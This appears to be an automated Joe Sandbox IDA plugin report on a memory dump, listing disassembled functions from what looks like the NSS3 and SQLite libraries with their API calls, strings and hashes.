Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 966689bf768bb97fdfcfff3dbe24cdd74b91cc2eecfe08aca48f5f41717a32b0
Instruction ID: fd1ef79bc0eef38bfd800c384d3ca506eebcb2fcb69952fd1e3734028858c68d
Opcode Fuzzy Hash: 966689bf768bb97fdfcfff3dbe24cdd74b91cc2eecfe08aca48f5f41717a32b0
Instruction Fuzzy Hash: F6F13471B087409FD315CF38C941B9BB7F6AF96308F248A1EE48597751E734E8568B82

Function 6CDB1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDB1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CDB1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CDB1FB7

Strings

sqlite_temp_master, xrefs: 6CDB1C5C
abort due to ROLLBACK, xrefs: 6CDB2223
no more rows available, xrefs: 6CDB2264
unknown error, xrefs: 6CDB2291
another row available, xrefs: 6CDB2287
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CDB1F83
attached databases must use the same text encoding as main database, xrefs: 6CDB20CA
sqlite_master, xrefs: 6CDB1C61
table, xrefs: 6CDB1C8B
unsupported file format, xrefs: 6CDB2188

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 92868715f9836a1de9a3c3d9b363619f8d69b84dc6cd6da1dcd014bd2b232729
Instruction ID: f4fec115b1270615a6c5889eb029805bd783399daa600053c389d3d87aa740ca
Opcode Fuzzy Hash: 92868715f9836a1de9a3c3d9b363619f8d69b84dc6cd6da1dcd014bd2b232729
Instruction Fuzzy Hash: 6D12D2B1608301DFD705CF19C484A5AB7F2BF8531CF19855DE89AABB22D731E846CB92

Function 6CDD5F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

2, xrefs: 6CDD65B4
BINARY, xrefs: 6CDD8708, 6CDD8737, 6CDD87B8
NOCASE, xrefs: 6CDD8703
sub-select returns %d columns - expected %d, xrefs: 6CDD805F
ON clause references tables to its right, xrefs: 6CDD6BEC
-, xrefs: 6CDD62F9
u, xrefs: 6CDD81DA
-, xrefs: 6CDD6228

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 0cba4a0d2b499c98ee007c586695d42e0ddc3af13764c44dd990277edd7f414c
Instruction ID: 98abab9445ab1122d26e42a2156946e21c393f640f22d27879c4220d53e0e595
Opcode Fuzzy Hash: 0cba4a0d2b499c98ee007c586695d42e0ddc3af13764c44dd990277edd7f414c
Instruction Fuzzy Hash: CB437474A08341DFD304CF19C490B5AB7E2BF89318F168A9DE8998B765D731F846CB92

Function 6CE7EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE7C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CE7DAE2,?), ref: 6CE7C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE7F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE7F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CE7F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE7F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CF4218C), ref: 6CE7F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CE7F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE7F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CE7F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CE7F210

Part of subcall function 6CE252D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CE7F1E9,?,00000000,?,?), ref: 6CE252F5
Part of subcall function 6CE252D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CE2530F
Part of subcall function 6CE252D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CE25326
Part of subcall function 6CE252D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CE7F1E9,?,00000000,?,?), ref: 6CE25340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE7F227

Part of subcall function 6CE6FAB0: free.MOZGLUE(?,-00000001,?,?,6CE0F673,00000000,00000000), ref: 6CE6FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CE7F23E

Part of subcall function 6CE6BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE1E708,00000000,00000000,00000004,00000000), ref: 6CE6BE6A
Part of subcall function 6CE6BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE204DC,?), ref: 6CE6BE7E
Part of subcall function 6CE6BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CE6BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE7F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CE7F3A8

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CE7F3B3

Part of subcall function 6CE22D20: PK11_DestroyObject.NSS3(?,?), ref: 6CE22D3C
Part of subcall function 6CE22D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE22D5F

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: b885c75a6415366a257705fc2c3c6543390511a8bd86100f5147b074e90e473f
Instruction ID: ebb5925f3ad3d8fd793909a8566ad8b5cd148a72341bd133f6c392c44786cf5c
Opcode Fuzzy Hash: b885c75a6415366a257705fc2c3c6543390511a8bd86100f5147b074e90e473f
Instruction Fuzzy Hash: 32D152B6E016059FDB24CFA9D880A9EB7F5FF4830CF258129D915A7B11E735E806CB60

Function 6CEADE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CE87FFA,00000000,?,6CEB23B9,00000002,00000000,?,6CE87FFA,00000002), ref: 6CEADE33

Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90AB
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90C9
Part of subcall function 6CED9090: EnterCriticalSection.KERNEL32 ref: 6CED90E5
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED9116
Part of subcall function 6CED9090: LeaveCriticalSection.KERNEL32 ref: 6CED913F

Part of subcall function 6CEAD000: PORT_ZAlloc_Util.NSS3(00000108,?,6CEADE74,6CE87FFA,00000002,?,?,?,?,?,00000000,6CE87FFA,00000000,?,6CEB23B9,00000002), ref: 6CEAD008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CE87FFA,00000000,?,6CEB23B9,00000002,00000000,?,6CE87FFA,00000002), ref: 6CEADE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CEADEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEAE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEAE121
PK11_FreeSymKey.NSS3(?), ref: 6CEAE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CEAE195
PR_GetCurrentThread.NSS3 ref: 6CEAE1FC

Part of subcall function 6CEA2460: PR_SetError.NSS3(FFFFE005,00000000,6CF47379,00000002,?), ref: 6CEA2493

Strings

application data, xrefs: 6CEADFE0
handshake data, xrefs: 6CEADFF7
early application data, xrefs: 6CEADFC9
key, xrefs: 6CEAE046

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 4dacd04de878763c34e0b2e7ef678e199c93bdf90732b586432dcfa0814a25be
Instruction ID: cc7832aa18f7fc94556718fd5390bda71df4579ee8c33456915acccb63fed9cb
Opcode Fuzzy Hash: 4dacd04de878763c34e0b2e7ef678e199c93bdf90732b586432dcfa0814a25be
Instruction Fuzzy Hash: 44C10775A006159FDB04CFA5CCC0BAA77B5FF09308F248129E9099FB51E331E966CBA1

Function 6CD9ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD9ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD9EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD9EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CD9EF98

Strings

%s at line %d of [%.10s], xrefs: 6CD9F492
database corruption, xrefs: 6CD9F48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD9F483

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 052e1b40b9bd7013662fedb7300da6fcd825d3d8edcfe6b6107398e321bae220
Instruction ID: 85643981f142111c217a0f98e2c9f8051a9be3eedb235f7dabb30a6f0f4e6d50
Opcode Fuzzy Hash: 052e1b40b9bd7013662fedb7300da6fcd825d3d8edcfe6b6107398e321bae220
Instruction Fuzzy Hash: BF620379A04245CFDB04CF64C4847AABBF1BF45318F28419DE8456BBB2D735E886CB91

Function 6CE3FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CE3FD06

Part of subcall function 6CE3F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CE3F696
Part of subcall function 6CE3F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CE3F789
Part of subcall function 6CE3F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CE3F796
Part of subcall function 6CE3F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CE3F79F
Part of subcall function 6CE3F670: SECITEM_DupItem_Util.NSS3 ref: 6CE3F7F0

Part of subcall function 6CE63440: PK11_GetAllTokens.NSS3 ref: 6CE63481
Part of subcall function 6CE63440: PR_SetError.NSS3(00000000,00000000), ref: 6CE634A3
Part of subcall function 6CE63440: TlsGetValue.KERNEL32 ref: 6CE6352E
Part of subcall function 6CE63440: EnterCriticalSection.KERNEL32(?), ref: 6CE63542
Part of subcall function 6CE63440: PR_Unlock.NSS3(?), ref: 6CE6355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CE3FDAD

Part of subcall function 6CE6FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE19003,?), ref: 6CE6FD91
Part of subcall function 6CE6FD80: PORT_Alloc_Util.NSS3(A4686CE7,?), ref: 6CE6FDA2
Part of subcall function 6CE6FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CE7,?,?), ref: 6CE6FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE3FE00

Part of subcall function 6CE6FD80: free.MOZGLUE(00000000,?,?), ref: 6CE6FDD1

Part of subcall function 6CE5E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE5E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE3FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CE3FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CE3FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE3FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE3FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CE3FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE3FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CE40007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CE40029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE40044

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: c046a76eeb24c6696b891a70bcf75f803428cd47b52a99e7ce04bcc53caa5229
Instruction ID: c54494b9d4792bf35087c812e4ba6fa97cefa4c418725a4df053d6f325813d23
Opcode Fuzzy Hash: c046a76eeb24c6696b891a70bcf75f803428cd47b52a99e7ce04bcc53caa5229
Instruction Fuzzy Hash: 1AB1C2B1604211AFE304CF29CC41A6AB7F5FF88318F648A6DE95D87B81E734E944CB91

Function 6CE37D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CE37DDC

Part of subcall function 6CE707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE18298,?,?,?,6CE0FCE5,?), ref: 6CE707BF
Part of subcall function 6CE707B0: PL_HashTableLookup.NSS3(?,?), ref: 6CE707E6
Part of subcall function 6CE707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE7081B
Part of subcall function 6CE707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE70825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE37DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CE37F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CE37F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CE37F98
PK11_FreeSymKey.NSS3(?), ref: 6CE37FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE37FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CE38000

Part of subcall function 6CE59430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CE37F0C,?,00000000,00000000,00000000,?), ref: 6CE5943B
Part of subcall function 6CE59430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CE5946B
Part of subcall function 6CE59430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CE59546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE38110
PK11_FreeSymKey.NSS3(00000000), ref: 6CE3811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CE3822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE3823C

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 9a2009f7d69efc87f0d00e4f50c0785c7b237b60949e665152e88b26ad5c3450
Instruction ID: c18175c76782dba9a8436eb75185803cdc998b8e8b624e1b59ec24374dc9cd28
Opcode Fuzzy Hash: 9a2009f7d69efc87f0d00e4f50c0785c7b237b60949e665152e88b26ad5c3450
Instruction Fuzzy Hash: 93C171B1D40229DFEB21CF15CC40BEAB7B8AF05348F1081EAE91DA6641E7719E95CF90

Function 6CE40EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CE40F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE40FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CE41006
PK11_FreeSymKey.NSS3(?), ref: 6CE4101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE41033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE4103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CE41048
memcpy.VCRUNTIME140(?,?,?), ref: 6CE4108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE410BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CE410D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CE4112E

Part of subcall function 6CE41570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CE408C4,?,?), ref: 6CE415B8
Part of subcall function 6CE41570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CE408C4,?,?), ref: 6CE415C1
Part of subcall function 6CE41570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE4162E
Part of subcall function 6CE41570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE41637

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 8d2cc4a321ca385e2413287d46e46137603fad2b75b93b4a3711007027d1822b
Instruction ID: e519b29c3784c8bf582ab9657198ea104f20924ad1c24025c0b91a2b4d1cbe87
Opcode Fuzzy Hash: 8d2cc4a321ca385e2413287d46e46137603fad2b75b93b4a3711007027d1822b
Instruction Fuzzy Hash: 7471EFB1A00205CFDB04CFA5ED81A6AB7B1FF4831CF24862DE91997B11E731E965CB80

Function 6CE61CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CE61F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CE62166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CE6228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CE623B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE6241C

Strings

manufacturer, xrefs: 6CE62179
token, xrefs: 6CE61F2C
model, xrefs: 6CE623CB, 6CE623EC
serial, xrefs: 6CE622A2

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 9c208077e3f0bfa893ad6c83fb20cbdb39120eae6f04d1deec98cd320c3391f7
Instruction ID: d665ec209daa430b29f5b6f0cb45886cbeef9a1da995475704218d6d1d87715d
Opcode Fuzzy Hash: 9c208077e3f0bfa893ad6c83fb20cbdb39120eae6f04d1deec98cd320c3391f7
Instruction Fuzzy Hash: DA021CA2D5C7C86EF7328672C44D3D76AF09B5532CF28166EC5DE46F83C3A859888351

Function 6CE66C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE11C6F,00000000,00000004,?,?), ref: 6CE66C3F

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CE11C6F,00000000,00000004,?,?), ref: 6CE66C60
PR_ExplodeTime.NSS3(00000000,6CE11C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CE11C6F,00000000,00000004,?,?), ref: 6CE66C94

Strings

gfff, xrefs: 6CE66D66
gfff, xrefs: 6CE66CFD
gfff, xrefs: 6CE66D9C
gfff, xrefs: 6CE66D30
gfff, xrefs: 6CE66CF5

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

